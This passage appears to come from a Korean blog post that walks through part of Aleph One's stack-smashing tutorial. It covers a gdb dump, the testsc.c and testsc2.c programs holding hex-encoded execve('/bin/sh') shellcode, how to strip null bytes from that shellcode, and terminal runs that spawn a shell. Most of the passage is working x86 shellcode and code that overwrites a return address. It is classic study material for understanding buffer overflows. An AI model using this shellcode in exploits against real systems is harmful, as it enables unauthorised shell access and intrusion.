0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

 작동한다! 하지만 장애물이 있다. 대부분의 경우, 우리는 문자버퍼를 오버플로우하려고할 것이다. 우리의 쉘코드 안에서 null바이트들은 문자열의 끝으로 여겨질 것이므로, 복사는 종료될 것이다. 제대로 작동하기 위해서는 쉘코드에 null바이트가 없어야 한다. null바이트들을 제거해 보자(그리고 동시에 더 작게 만들자)

           문제의 명령:                         대체된 명령:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------
 우리의 발전된 코드:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
	movb   %eax,0x7(%esi)		# 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
					# 46 bytes total
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------

 그리고 우리의 새로운 시험 프로그램:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------

아래 더있지만 쉘코드 작성부분에서 이해가 잘되지않아서.. 이해가 된후에 다시 그포인트와 아랫부분을 포스팅할 예정입니다.